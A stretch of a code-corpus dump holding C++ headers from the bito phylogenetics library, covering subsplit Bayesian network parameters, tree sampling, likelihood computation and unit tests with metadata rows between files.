ClearTreeCollectionAssociatedState();
topology_counter_ = TopologyCounter();
SetSBNSupport(TSBNSupport(topology_counter_, tree_collection_.TaxonNames()));
};
// Set the SBN parameters using a "pretty" map of SBNs.
//
// Any GPCSP that is not assigned a value by pretty_sbn_parameters will be assigned a
// value of DOUBLE_MINIMUM (i.e. "log of 0"). We do emit a warning with this code is
// used if warn_missing is on.
//
// We assume pretty_sbn_parameters is delivered in linear (i.e not log) space. If we
// get log parameters they will have negative values, which will raise a failure.
void SetSBNParameters(const StringDoubleMap &pretty_sbn_parameters,
bool warn_missing = true) {
StringVector pretty_indexer = PrettyIndexer();
size_t missing_count = 0;
for (size_t i = 0; i < pretty_indexer.size(); i++) { // NOLINT
const std::string &pretty_gpcsp = pretty_indexer[i];
const auto search = pretty_sbn_parameters.find(pretty_gpcsp);
if (search == pretty_sbn_parameters.end()) {
sbn_parameters_[i] = DOUBLE_MINIMUM;
missing_count++;
} else if (search->second > 0.) {
sbn_parameters_[i] = log(search->second);
} else if (search->second == 0.) {
sbn_parameters_[i] = DOUBLE_MINIMUM;
} else {
Failwith(
"Negative probability encountered in SetSBNParameters. Note that we expect "
"the probabilities to be expressed in linear (not log) space.");
}
}
if (warn_missing && missing_count > 0) {
std::cout << "Warning: when setting SBN parameters, " << missing_count
<< " were in the support but not specified; these were set to "
<< DOUBLE_MINIMUM << " (parameters stored as log space)." << std::endl;
}
}
// The support has to already be set up to accept these SBN parameters.
void ReadSBNParametersFromCSV(const std::string &csv_path) {
SetSBNParameters(CSV::StringDoubleMapOfCSV(csv_path));
}
void CheckTopologyCounter() {
if (TopologyCounter().empty()) {
Failwith("Please load some trees into your SBN instance.");
}
}
void CheckSBNSupportNonEmpty() {
if (sbn_support_.Empty()) {
Failwith("Please call ProcessLoadedTrees to prepare your SBN support.");
}
}
void ProbabilityNormalizeSBNParametersInLog(EigenVectorXdRef sbn_parameters) const {
sbn_support_.ProbabilityNormalizeSBNParametersInLog(sbn_parameters);
}
void TrainSimpleAverage() {
CheckTopologyCounter();
CheckSBNSupportNonEmpty();
auto indexer_representation_counter =
sbn_support_.IndexerRepresentationCounterOf(topology_counter_);
SBNProbability::SimpleAverage(sbn_parameters_, indexer_representation_counter,
sbn_support_.RootsplitCount(),
sbn_support_.ParentToRange());
}
EigenVectorXd NormalizedSBNParameters() const {
EigenVectorXd sbn_parameters_result = sbn_parameters_;
ProbabilityNormalizeSBNParametersInLog(sbn_parameters_result);
NumericalUtils::Exponentiate(sbn_parameters_result);
return sbn_parameters_result;
}
StringDoubleVector PrettyIndexedVector(EigenConstVectorXdRef v) {
StringDoubleVector result;
result.reserve(v.size());
const auto pretty_indexer = PrettyIndexer();
Assert(v.size() <= static_cast<Eigen::Index>(pretty_indexer.size()),
"v is too long in PrettyIndexedVector");
for (Eigen::Index i = 0; i < v.size(); i++) {
result.push_back({pretty_indexer.at(i), v(i)});
}
return result;
}
StringDoubleVector PrettyIndexedSBNParameters() {
return PrettyIndexedVector(NormalizedSBNParameters());
}
void SBNParametersToCSV(const std::string &file_path) {
CSV::StringDoubleVectorToCSV(PrettyIndexedSBNParameters(), file_path);
}
// Get indexer representations of the trees in tree_collection_.
// See the documentation of IndexerRepresentationOf in sbn_maps.hpp for an
// explanation of what these are. This version uses the length of
// sbn_parameters_ as a sentinel value for all rootsplits/PCSPs that aren't
// present in the indexer.
std::vector<TIndexerRepresentation> MakeIndexerRepresentations() const {
std::vector<TIndexerRepresentation> representations;
representations.reserve(tree_collection_.trees_.size());
for (const auto &tree : tree_collection_.trees_) {
representations.push_back(sbn_support_.IndexerRepresentationOf(tree.Topology()));
}
return representations;
}
// Calculate SBN probabilities for all currently-loaded trees.
EigenVectorXd CalculateSBNProbabilities() {
EigenVectorXd sbn_parameters_copy = sbn_parameters_;
SBNProbability::ProbabilityNormalizeParamsInLog(sbn_parameters_copy,
sbn_support_.RootsplitCount(),
sbn_support_.ParentToRange());
return SBNProbability::ProbabilityOfCollection(sbn_parameters_copy,
MakeIndexerRepresentations());
}
// ** Phylogenetic likelihood
// Get the phylogenetic model parameters as a big matrix.
Eigen::Ref<EigenMatrixXd> GetPhyloModelParams() { return phylo_model_params_; }
// The phylogenetic model parameters broken down into blocks according to
// model structure. See test_bito.py for an example of what this does.
BlockSpecification::ParameterBlockMap GetPhyloModelParamBlockMap() {
return GetEngine()->GetPhyloModelBlockSpecification().ParameterBlockMapOf(
phylo_model_params_);
}
// Set whether we use rescaling for phylogenetic likelihood computation.
void SetRescaling(bool use_rescaling) { rescaling_ = use_rescaling; }
void CheckSequencesAndTreesLoaded() const {
if (alignment_.SequenceCount() == 0) {
Failwith(
"Load an alignment into your SBNInstance on which you wish to "
"calculate phylogenetic likelihoods.");
}
if (TreeCount() == 0) {
Failwith(
"Load some trees into your SBNInstance on which you wish to "
"calculate phylogenetic likelihoods.");
}
}
// Prepare for phylogenetic likelihood calculation. If we get a nullopt
// argument, it just uses the number of trees currently in the SBNInstance.
void PrepareForPhyloLikelihood(
const PhyloModelSpecification &model_specification, size_t thread_count,
const std::vector<BeagleFlags> &beagle_flag_vector = {},
bool use_tip_states = true,
const std::optional<size_t> &tree_count_option = std::nullopt) {
const EngineSpecification engine_specification{thread_count, beagle_flag_vector,
use_tip_states};
MakeGPEngine(engine_specification, model_specification);
ResizePhyloModelParams(tree_count_option);
}
// Make the number of phylogentic model parameters fit the number of trees and
// the speficied model. If we get a nullopt argument, it just uses the number
// of trees currently in the SBNInstance.
void ResizePhyloModelParams(std::optional<size_t> tree_count_option) {
size_t tree_count = tree_count_option ? *tree_count_option : TreeCount();
if (tree_count == 0) {
Failwith(
"Please add trees to your instance by sampling or loading before "
"preparing for phylogenetic likelihood calculation.");
}
phylo_model_params_.resize(
tree_count, GetEngine()->GetPhyloModelBlockSpecification().ParameterCount());
}
std::vector<double> UnrootedLogLikelihoods(
const RootedTreeCollection &tree_collection) {
return GetEngine()->UnrootedLogLikelihoods(tree_collection, phylo_model_params_,
true);
}
// ** I/O
void ReadFastaFile(const std::string &fname) {
alignment_ = Alignment::ReadFasta(fname);
}
// Allow users to pass in alignment directly.
void SetAlignment(const Alignment &alignment) { alignment_ = alignment; }
void SetAlignment(Alignment &&alignment) { alignment_ = alignment; }
void LoadDuplicatesOfFirstTree(size_t number_of_times) {
tree_collection_ =
tree_collection_.BuildCollectionByDuplicatingFirst(number_of_times);
}
// ** PhyloFlags
// This is an object for passing option flags to functions.
bool HasPhyloFlags() { return (phylo_flags_ != nullptr); }
void MakePhyloFlags() {
Assert(!HasPhyloFlags(),
"Attempted to make PhyloFlags when instance already exists.");
phylo_flags_ = std::make_unique<PhyloFlags>();
}
PhyloFlags &GetPhyloFlags() {
Assert(HasPhyloFlags(),
"Attempted to get PhyloFlags when instance does not exist.");
return *phylo_flags_.get();
}
std::optional<PhyloFlags> GetPhyloFlagsIfExists() {
if (HasPhyloFlags()) {
return GetPhyloFlags();
}
return std::nullopt;
}
void SetPhyloFlag(const std::string &flag_name, const bool set_to = true,
const double set_value = 1.0f) {
GetPhyloFlags().SetFlag(flag_name, set_to, set_value);
}
void SetPhyloFlagDefaults(const bool is_set_defaults) {
GetPhyloFlags().SetRunDefaultsFlag(is_set_defaults);
}
void ClearPhyloFlags() { GetPhyloFlags().ClearFlags(); }
// Merge external and internal flags into single unified flag set.
std::optional<PhyloFlags> CollectPhyloFlags(
std::optional<PhyloFlags> external_flags = std::nullopt) {
std::optional<PhyloFlags> internal_flags = GetPhyloFlagsIfExists();
std::optional<PhyloFlags> flags;
// If there are both external and internal flags, combine them.
if (internal_flags && external_flags) {
flags = external_flags;
flags.value().AddPhyloFlags(internal_flags, false);
return flags;
}
// Otherwise, return the existing flags (or null).
return internal_flags ? internal_flags : external_flags;
}
protected:
// The name of our bito instance.
std::string name_;
// Our phylogenetic likelihood computation engine.
std::unique_ptr<Engine> engine_;
// Option flags for passing to likelihood computation engine.
std::unique_ptr<PhyloFlags> phylo_flags_ = nullptr;
// Whether we use likelihood vector rescaling.
bool rescaling_;
// The multiple sequence alignment.
Alignment alignment_;
// The phylogenetic model parameterization. This has as many rows as there are
// trees, and holds the parameters before likelihood computation, where they
// will be processed across threads.
EigenMatrixXd phylo_model_params_;
// A counter for the currently loaded set of topologies.
Node::TopologyCounter topology_counter_;
TSBNSupport sbn_support_;
MersenneTwister mersenne_twister_;
inline void SetSeed(uint64_t seed) { mersenne_twister_.SetSeed(seed); }
// Make a likelihood engine with the given specification.
void MakeGPEngine(const EngineSpecification &engine_specification,
const PhyloModelSpecification &model_specification) {
CheckSequencesAndTreesLoaded();
SitePattern site_pattern(alignment_, TagTaxonMap());
engine_ = std::make_unique<Engine>(engine_specification, model_specification,
site_pattern);
}
// Sample an integer index in [range.first, range.second) according to
// sbn_parameters_.
size_t SampleIndex(Range range) const {
const auto &[start, end] = range;
Assert(start < end && static_cast<Eigen::Index>(end) <= sbn_parameters_.size(),
"SampleIndex given an invalid range.");
// We do not want to overwrite sbn_parameters so we make a copy.
EigenVectorXd sbn_parameters_subrange = sbn_parameters_.segment(start, end - start);
NumericalUtils::ProbabilityNormalizeInLog(sbn_parameters_subrange);
NumericalUtils::Exponentiate(sbn_parameters_subrange);
std::discrete_distribution<> distribution(sbn_parameters_subrange.begin(),
sbn_parameters_subrange.end());
// We have to add on range.first because we have taken a slice of the full
// array, and the sampler treats the beginning of this slice as zero.
auto result =
start + static_cast<size_t>(distribution(mersenne_twister_.GetGenerator()));
Assert(result < end, "SampleIndex sampled a value out of range.");
return result;
}
Node::NodePtr SampleTopology(bool rooted) const {
// Start by sampling a rootsplit.
size_t rootsplit_index =
SampleIndex(std::pair<size_t, size_t>(0, sbn_support_.RootsplitCount()));
const Bitset &rootsplit = sbn_support_.RootsplitsAt(rootsplit_index);
auto topology =
rooted ? SampleTopology(rootsplit) : SampleTopology(rootsplit)->Deroot();
topology->Polish();
return topology;
}
// The input to this function is a parent subsplit (of length 2n).
Node::NodePtr SampleTopology(const Bitset &parent_subsplit) const {
auto process_subsplit = [this](const Bitset &parent) {
auto singleton_option =
parent.SubsplitGetClade(SubsplitClade::Right).SingletonOption();
if (singleton_option) {
return Node::Leaf(*singleton_option);
} // else
auto child_index = SampleIndex(sbn_support_.ParentToRangeAt(parent));
return SampleTopology(sbn_support_.IndexToChildAt(child_index));
};
return Node::Join(process_subsplit(parent_subsplit),
process_subsplit(parent_subsplit.SubsplitRotate()));
}
// Clear all of the state that depends on the current tree collection.
void ClearTreeCollectionAssociatedState() {
sbn_parameters_.resize(0);
topology_counter_.clear();
sbn_support_ = TSBNSupport();
}
void PushBackRangeForParentIfAvailable(const Bitset &parent,
RangeVector &range_vector) {
if (sbn_support_.ParentInSupport(parent)) {
range_vector.push_back(sbn_support_.ParentToRangeAt(parent));
}
}
RangeVector GetSubsplitRanges(const SizeVector &rooted_representation) {
RangeVector subsplit_ranges;
// PROFILE: should we be reserving here?
subsplit_ranges.emplace_back(0, sbn_support_.RootsplitCount());
Bitset root = sbn_support_.RootsplitsAt(rooted_representation[0]);
PushBackRangeForParentIfAvailable(root, subsplit_ranges);
PushBackRangeForParentIfAvailable(root.SubsplitRotate(), subsplit_ranges);
// Starting at 1 here because we took care of the rootsplit above (the 0th element).
for (size_t i = 1; i < rooted_representation.size(); i++) {
Bitset child = sbn_support_.IndexToChildAt(rooted_representation[i]);
PushBackRangeForParentIfAvailable(child, subsplit_ranges);
PushBackRangeForParentIfAvailable(child.SubsplitRotate(), subsplit_ranges);
}
return subsplit_ranges;
}
static EigenVectorXd CalculateMultiplicativeFactors(EigenVectorXdRef log_f) {
double tree_count = log_f.size();
double log_F = NumericalUtils::LogSum(log_f);
double hat_L = log_F - log(tree_count);
EigenVectorXd tilde_w = log_f.array() - log_F;
tilde_w = tilde_w.array().exp();
return hat_L - tilde_w.array();
}
static EigenVectorXd CalculateVIMCOMultiplicativeFactors(EigenVectorXdRef log_f) {
// Use the geometric mean as \hat{f}(\tau^{-j}, \theta^{-j}), in eq:f_hat in
// the implementation notes.
size_t tree_count = log_f.size();
double log_tree_count = log(tree_count);
double sum_of_log_f = log_f.sum();
// This has jth entry \hat{f}_{\bm{\phi},{\bm{\psi}}}(\tau^{-j},\bm{\theta}^{-j}),
// i.e. the log of the geometric mean of each item other than j.
EigenVectorXd log_geometric_mean =
(sum_of_log_f - log_f.array()) / (tree_count - 1);
EigenVectorXd per_sample_signal(tree_count);
// This is a vector of entries that when summed become the parenthetical expression
// in eq:perSampleLearning.
EigenVectorXd log_f_perturbed = log_f;
for (size_t j = 0; j < tree_count; j++) {
log_f_perturbed(j) = log_geometric_mean(j);
per_sample_signal(j) =
log_f_perturbed.redux(NumericalUtils::LogAdd) - log_tree_count;
// Reset the value.
log_f_perturbed(j) = log_f(j);
}
EigenVectorXd multiplicative_factors = CalculateMultiplicativeFactors(log_f);
multiplicative_factors -= per_sample_signal;
return multiplicative_factors;
}
};
#ifdef DOCTEST_LIBRARY_INCLUDED
#endif // DOCTEST_LIBRARY_INCLUDED
| 20,656
|
C++
|
.h
| 443
| 40.774266
| 88
| 0.703384
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,118
|
sbn_support.hpp
|
phylovi_bito/src/sbn_support.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// In our formulation of variational Bayes phylogenetics, we do inference of continuous
// parameters with respect to a "subsplit support", which is the collection of
// rootsplits and PCSPs that are allowed to be nonzero.
//
// We implement this concept as an SBNSupport here. We store the support as a collection
// of indexing maps that map from Bitset representations of rootsplits and PCSPs to some
// indexing scheme. Details differ if we are looking at rooted or unrooted trees, hence
// this class gets subclassed by RootedSBNSupport and UnrootedSBNSupport.
//
// To learn more about these indexer maps, see the unit tests in rooted_sbn_instance.hpp
// and unrooted_sbn_instance.hpp.
#pragma once
#include "psp_indexer.hpp"
#include "sbn_probability.hpp"
class SBNSupport {
public:
explicit SBNSupport(StringVector taxon_names)
: taxon_names_(std::move(taxon_names)){};
inline size_t GPCSPCount() const { return gpcsp_count_; }
inline bool Empty() const { return GPCSPCount() == 0; }
inline size_t TaxonCount() const { return taxon_names_.size(); }
inline const StringVector &TaxonNames() const { return taxon_names_; }
inline size_t RootsplitCount() const { return rootsplits_.size(); }
const Bitset &RootsplitsAt(size_t rootsplit_idx) const {
return rootsplits_.at(rootsplit_idx);
}
const size_t &IndexerAt(const Bitset &bitset) const { return indexer_.at(bitset); }
inline bool ParentInSupport(const Bitset &parent) const {
return parent_to_child_range_.count(parent) > 0;
}
inline const SizePair &ParentToRangeAt(const Bitset &parent) const {
return parent_to_child_range_.at(parent);
}
inline const Bitset &IndexToChildAt(size_t child_idx) const {
return index_to_child_.at(child_idx);
}
const BitsetSizePairMap &ParentToRange() const { return parent_to_child_range_; }
const BitsetSizeMap &Indexer() const { return indexer_; }
PSPIndexer BuildPSPIndexer() const { return PSPIndexer(rootsplits_, indexer_); }
// "Pretty" string representation of the indexer.
StringVector PrettyIndexer() const;
void PrettyPrintIndexer() const;
// Return indexer_ and parent_to_child_range_ converted into string-keyed maps.
std::tuple<StringSizeMap, StringSizePairMap> GetIndexers() const;
// Get the indexer, but reversed and with bitsets appropriately converted to
// strings.
StringVector StringReversedIndexer() const;
void ProbabilityNormalizeSBNParametersInLog(EigenVectorXdRef sbn_parameters) const;
protected:
// A vector of the taxon names.
StringVector taxon_names_;
// The total number of rootsplits and PCSPs.
size_t gpcsp_count_ = 0;
// The master indexer for SBN parameters.
BitsetSizeMap indexer_;
// The collection of rootsplits, with the same indexing as in the indexer_.
BitsetVector rootsplits_;
// A map going from the index of a PCSP to its child.
SizeBitsetMap index_to_child_;
// A map going from a parent subsplit to the range of indices in
// sbn_parameters_ with its children. See the definition of Range for the indexing
// convention.
BitsetSizePairMap parent_to_child_range_;
};
| 3,246
|
C++
|
.h
| 67
| 45.716418
| 88
| 0.76207
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,119
|
doctest_constants.hpp
|
phylovi_bito/src/doctest_constants.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#ifdef DOCTEST_LIBRARY_INCLUDED
// Below we use 99999999 is the default value if a rootsplit or PCSP is missing.
const size_t out_of_sample_index = 99999999;
#endif // DOCTEST_LIBRARY_INCLUDED
| 333
|
C++
|
.h
| 7
| 46
| 80
| 0.791925
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,120
|
unrooted_sbn_instance.hpp
|
phylovi_bito/src/unrooted_sbn_instance.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include "generic_sbn_instance.hpp"
#include "unrooted_sbn_support.hpp"
using PreUnrootedSBNInstance =
GenericSBNInstance<UnrootedTreeCollection, UnrootedSBNSupport,
UnrootedIndexerRepresentation>;
template class GenericSBNInstance<UnrootedTreeCollection, UnrootedSBNSupport,
UnrootedIndexerRepresentation>;
class UnrootedSBNInstance : public PreUnrootedSBNInstance {
public:
using PreUnrootedSBNInstance::PreUnrootedSBNInstance;
// ** SBN-related items
// max_iter is the maximum number of EM iterations to do, while score_epsilon
// is the cutoff for score improvement.
EigenVectorXd TrainExpectationMaximization(double alpha, size_t max_iter,
double score_epsilon = 0.);
// Sample a topology from the SBN.
using PreUnrootedSBNInstance::SampleTopology;
Node::NodePtr SampleTopology() const;
// Sample trees and store them internally
void SampleTrees(size_t count);
// Get PSP indexer representations of the trees in tree_collection_.
std::vector<SizeVectorVector> MakePSPIndexerRepresentations() const;
// Return a ragged vector of vectors such that the ith vector is the
// collection of branch lengths in the current tree collection for the ith
// split.
DoubleVectorVector SplitLengths() const;
// Turn an IndexerRepresentation into a string representation of the underying
// bitsets. This is really just so that we can make a test of indexer
// representations.
StringSetVector StringIndexerRepresentationOf(
const UnrootedIndexerRepresentation &indexer_representation) const;
StringSetVector StringIndexerRepresentationOf(const Node::NodePtr &topology,
size_t out_of_sample_index) const;
// This function is really just for testing-- it recomputes counters from
// scratch.
std::pair<StringSizeMap, StringPCSPMap> SplitCounters() const;
// ** Phylogenetic likelihood
std::vector<double> LogLikelihoods(
std::optional<PhyloFlags> external_flags = std::nullopt);
template <class VectorType>
std::vector<double> LogLikelihoods(const VectorType &flag_vec,
const bool is_run_defaults);
// For each loaded tree, return the phylogenetic gradient.
std::vector<PhyloGradient> PhyloGradients(
std::optional<PhyloFlags> external_flags = std::nullopt);
template <class VectorType>
std::vector<PhyloGradient> PhyloGradients(const VectorType &flag_vec,
const bool is_run_defaults);
// Topology gradient for unrooted trees.
// Assumption: This function is called from Python side
// after the trees (both the topology and the branch lengths) are sampled.
EigenVectorXd TopologyGradients(EigenVectorXdRef log_f, bool use_vimco = true);
// Computes gradient WRT \phi of log q_{\phi}(\tau).
// IndexerRepresentation contains all rootings of \tau.
// normalized_sbn_parameters_in_log is a cache; see implementation of
// TopologyGradients to see how it works. It would be private except that
// we want to be able to test it.
EigenVectorXd GradientOfLogQ(
EigenVectorXdRef normalized_sbn_parameters_in_log,
const UnrootedIndexerRepresentation &indexer_representation);
// ** I/O
void ReadNewickFile(const std::string &fname, const bool sort_taxa = true);
void ReadNexusFile(const std::string &fname, const bool sort_taxa = true);
protected:
void PushBackRangeForParentIfAvailable(
const Bitset &parent, UnrootedSBNInstance::RangeVector &range_vector);
RangeVector GetSubsplitRanges(
const RootedIndexerRepresentation &rooted_representation);
};
#ifdef DOCTEST_LIBRARY_INCLUDED
#include "doctest_constants.hpp"
TEST_CASE("UnrootedSBNInstance: indexer and PSP representations") {
UnrootedSBNInstance inst("charlie");
inst.ReadNewickFile("data/five_taxon_unrooted.nwk", false);
inst.ProcessLoadedTrees();
auto pretty_indexer = inst.PrettyIndexer();
// The indexer_ is to index the sbn_parameters_. Note that neither of these
// data structures attempt to catalog the complete collection of rootsplits or
// PCSPs, but just those that are present for some rooting of the input trees.
//
// The indexer_ and sbn_parameters_ are laid out as follows (I'll just call it
// the "index" in what follows). Say there are rootsplit_count rootsplits in
// the support.
// The first rootsplit_count entries of the index are assigned to the
// rootsplits (again, those rootsplits that are present for some rooting of
// the unrooted input trees). For the five_taxon example, this goes as follows:
StringSet correct_pretty_rootsplits(
{"00000|11111|01110", "00000|11111|01010", "00000|11111|00101",
"00000|11111|00111", "00000|11111|00001", "00000|11111|00011",
"00000|11111|00010", "00000|11111|00100", "00000|11111|00110",
"00000|11111|01000", "00000|11111|01111", "00000|11111|01001"});
StringSet pretty_rootsplits(
pretty_indexer.begin(),
pretty_indexer.begin() + correct_pretty_rootsplits.size());
CHECK(correct_pretty_rootsplits == pretty_rootsplits);
// The rest of the entries of the index are laid out as blocks of parameters
// for PCSPs that share the same parent. Take a look at the description of
// PCSP bitsets (and the unit tests) in bitset.hpp to understand the notation
// used here.
//
// For example, here are four PCSPs that all share the parent 00001|11110:
StringSet correct_pretty_pcsp_block({"00001|11110|01110", "00001|11110|00010",
"00001|11110|01000", "00001|11110|00100"});
StringSet pretty_indexer_set(pretty_indexer.begin(), pretty_indexer.end());
// It's true that this test doesn't show the block-ness, but it wasn't easy to
// show off this feature in a way that wasn't compiler dependent.
// You can see it by printing out a pretty_indexer if you wish. A test exhibiting
// block structure appeas in rooted_sbn_instance.hpp.
for (auto pretty_pcsp : correct_pretty_pcsp_block) {
CHECK(pretty_indexer_set.find(pretty_pcsp) != pretty_indexer_set.end());
}
// Now we can look at some tree representations. We get these by calling
// IndexerRepresentationOf on a tree topology. This function "digests" the
// tree by representing all of the PCSPs as bitsets which it can then look up
// in the indexer_.
// It then spits them out as the rootsplit and PCSP indices.
// The following tree is (2,(1,3),(0,4));, or with internal nodes (2,(1,3)5,(0,4)6)7
auto indexer_test_topology_1 = Node::OfParentIdVector({6, 5, 7, 5, 6, 7, 7});
// Here we look at the indexer representation of this tree. Rather than having
// the indices themselves, which is what IndexerRepresentationOf actually
// outputs, we have string representations of the features corresponding to
// those indices.
// See sbn_maps.hpp for more description of these indexer representations.
StringSetVector correct_representation_1(
// The indexer representations for each of the possible virtual rootings.
// For example, this first one is for rooting at the edge leading to leaf
// 0, the second for rooting at leaf 1, etc.
{{"00000|11111|01111", "10000|01111|00001", "00001|01110|00100",
"00100|01010|00010"},
{"00000|11111|01000", "01000|10111|00010", "00100|10001|00001",
"00010|10101|00100"},
{"00000|11111|00100", "10001|01010|00010", "01010|10001|00001",
"00100|11011|01010"},
{"00000|11111|00010", "00010|11101|01000", "00100|10001|00001",
"01000|10101|00100"},
{"00000|11111|00001", "00001|11110|01110", "10000|01110|00100",
"00100|01010|00010"},
{"00000|11111|01010", "10101|01010|00010", "00100|10001|00001",
"01010|10101|00100"},
{"00000|11111|01110", "00100|01010|00010", "10001|01110|00100",
"01110|10001|00001"}});
CHECK_EQ(
inst.StringIndexerRepresentationOf(indexer_test_topology_1, out_of_sample_index),
correct_representation_1);
// See the "concepts" part of the online documentation to learn about PSP indexing.
auto correct_psp_representation_1 =
StringVectorVector({{"10000|01111", "10111|01000", "11011|00100", "11101|00010",
"11110|00001", "10101|01010", "10001|01110"},
{"", "", "", "", "", "01000|00010", "10000|00001"},
{"01110|00001", "10101|00010", "10001|01010", "10101|01000",
"10000|01110", "10001|00100", "01010|00100"}});
CHECK_EQ(inst.psp_indexer_.StringRepresentationOf(indexer_test_topology_1),
correct_psp_representation_1);
// Same as above but for (((0,1),2),3,4);, or with internal nodes (((0,1)5,2)6,3,4)7;
auto indexer_test_topology_2 = Node::OfParentIdVector({5, 5, 6, 7, 7, 6, 7});
StringSetVector correct_representation_2(
{{"00000|11111|01111", "10000|01111|00111", "00100|00011|00001",
"01000|00111|00011"},
{"00000|11111|01000", "01000|10111|00111", "00100|00011|00001",
"10000|00111|00011"},
{"00000|11111|00100", "00100|11011|00011", "11000|00011|00001",
"00011|11000|01000"},
{"00000|11111|00010", "00100|11000|01000", "00001|11100|00100",
"00010|11101|00001"},
{"00000|11111|00001", "00100|11000|01000", "00001|11110|00010",
"00010|11100|00100"},
{"00000|11111|00111", "00111|11000|01000", "00100|00011|00001",
"11000|00111|00011"},
{"00000|11111|00011", "00100|11000|01000", "11100|00011|00001",
"00011|11100|00100"}});
CHECK_EQ(
inst.StringIndexerRepresentationOf(indexer_test_topology_2, out_of_sample_index),
correct_representation_2);
auto correct_psp_representation_2 =
StringVectorVector({{"10000|01111", "10111|01000", "11011|00100", "11101|00010",
"11110|00001", "11000|00111", "11100|00011"},
{"", "", "", "", "", "10000|01000", "11000|00100"},
{"01000|00111", "10000|00111", "11000|00011", "11100|00001",
"11100|00010", "00100|00011", "00010|00001"}});
CHECK_EQ(inst.psp_indexer_.StringRepresentationOf(indexer_test_topology_2),
correct_psp_representation_2);
// Test of RootedSBNMaps::IndexerRepresentationOf.
// It's a little surprising to see this here in unrooted land, but these are actually
// complementary tests to those found in rooted_sbn_instance.hpp, with a larger
// subsplit support because we deroot the trees.
// Topology is ((((0,1),2),3),4);, or with internal nodes ((((0,1)5,2)6,3)7,4)8;
auto indexer_test_rooted_topology_1 =
Node::OfParentIdVector({5, 5, 6, 7, 8, 6, 7, 8});
auto correct_rooted_indexer_representation_1 =
StringSet({"00000|11111|00001", "00001|11110|00010", "00010|11100|00100",
"00100|11000|01000"});
CHECK_EQ(inst.StringIndexerRepresentationOf({RootedSBNMaps::IndexerRepresentationOf(
inst.SBNSupport().Indexer(), indexer_test_rooted_topology_1,
out_of_sample_index)})[0],
correct_rooted_indexer_representation_1);
// Topology is (((0,1),2),(3,4));, or with internal nodes (((0,1)5,2)6,(3,4)7)8;
auto indexer_test_rooted_topology_2 =
Node::OfParentIdVector({5, 5, 6, 7, 7, 6, 8, 8});
auto correct_rooted_indexer_representation_2 =
StringSet({"00000|11111|00011", "11100|00011|00001", "00011|11100|00100",
"00100|11000|01000"});
CHECK_EQ(inst.StringIndexerRepresentationOf({RootedSBNMaps::IndexerRepresentationOf(
inst.SBNSupport().Indexer(), indexer_test_rooted_topology_2,
out_of_sample_index)})[0],
correct_rooted_indexer_representation_2);
}
TEST_CASE("UnrootedSBNInstance: likelihood and gradient") {
UnrootedSBNInstance inst("charlie");
inst.ReadNewickFile("data/hello.nwk", false);
inst.ReadFastaFile("data/hello.fasta");
PhyloModelSpecification simple_specification{"JC69", "constant", "strict"};
inst.PrepareForPhyloLikelihood(simple_specification, 2);
for (auto ll : inst.LogLikelihoods()) {
CHECK_LT(fabs(ll - -84.852358), 0.000001);
}
inst.ReadNexusFile("data/DS1.subsampled_10.t", false);
inst.ReadFastaFile("data/DS1.fasta");
std::vector<BeagleFlags> vector_flag_options{BEAGLE_FLAG_VECTOR_NONE,
BEAGLE_FLAG_VECTOR_SSE};
std::vector<bool> tip_state_options{false, true};
for (const auto vector_flag : vector_flag_options) {
for (const auto tip_state_option : tip_state_options) {
inst.PrepareForPhyloLikelihood(simple_specification, 2, {vector_flag},
tip_state_option);
auto likelihoods = inst.LogLikelihoods();
std::vector<double> pybeagle_likelihoods(
{-14582.995273982739, -6911.294207416366, -6916.880235529542,
-6904.016888831189, -6915.055570693576, -6915.50496696512,
-6910.958836661867, -6909.02639968063, -6912.967861935749,
-6910.7871105783515});
for (size_t i = 0; i < likelihoods.size(); i++) {
CHECK_LT(fabs(likelihoods[i] - pybeagle_likelihoods[i]), 0.00011);
}
auto gradients = inst.PhyloGradients();
// Test the log likelihoods.
for (size_t i = 0; i < likelihoods.size(); i++) {
CHECK_LT(fabs(gradients[i].log_likelihood_ - pybeagle_likelihoods[i]), 0.00011);
}
// Test the gradients for the last tree.
auto last = gradients.back();
std::sort(last.gradient_["branch_lengths"].begin(),
last.gradient_["branch_lengths"].end());
// Zeros are for the root and one of the descendants of the root.
std::vector<double> physher_gradients = {
-904.18956, -607.70500, -562.36274, -553.63315, -542.26058, -539.64210,
-463.36511, -445.32555, -414.27197, -412.84218, -399.15359, -342.68038,
-306.23644, -277.05392, -258.73681, -175.07391, -171.59627, -168.57646,
-150.57623, -145.38176, -115.15798, -94.86412, -83.02880, -80.09165,
-69.00574, -51.93337, 0.00000, 0.00000, 16.17497, 20.47784,
58.06984, 131.18998, 137.10799, 225.73617, 233.92172, 253.49785,
255.52967, 259.90378, 394.00504, 394.96619, 396.98933, 429.83873,
450.71566, 462.75827, 471.57364, 472.83161, 514.59289, 650.72575,
888.87834, 913.96566, 927.14730, 959.10746, 2296.55028};
for (size_t i = 0; i < last.gradient_["branch_lengths"].size(); i++) {
CHECK_LT(fabs(last.gradient_["branch_lengths"][i] - physher_gradients[i]),
0.0001);
}
// Test rescaling
inst.SetRescaling(true);
auto likelihoods_rescaling = inst.LogLikelihoods();
// Likelihoods from LogLikelihoods()
for (size_t i = 0; i < likelihoods_rescaling.size(); i++) {
CHECK_LT(fabs(likelihoods_rescaling[i] - pybeagle_likelihoods[i]), 0.00011);
}
// Likelihoods from BranchGradients()
inst.PrepareForPhyloLikelihood(simple_specification, 1, {}, tip_state_option);
auto gradients_rescaling = inst.PhyloGradients();
for (size_t i = 0; i < gradients_rescaling.size(); i++) {
CHECK_LT(fabs(gradients_rescaling[i].log_likelihood_ - pybeagle_likelihoods[i]),
0.00011);
}
// Gradients
auto last_rescaling = gradients_rescaling.back();
auto branch_lengths_gradient = last_rescaling.gradient_["branch_lengths"];
std::sort(branch_lengths_gradient.begin(), branch_lengths_gradient.end());
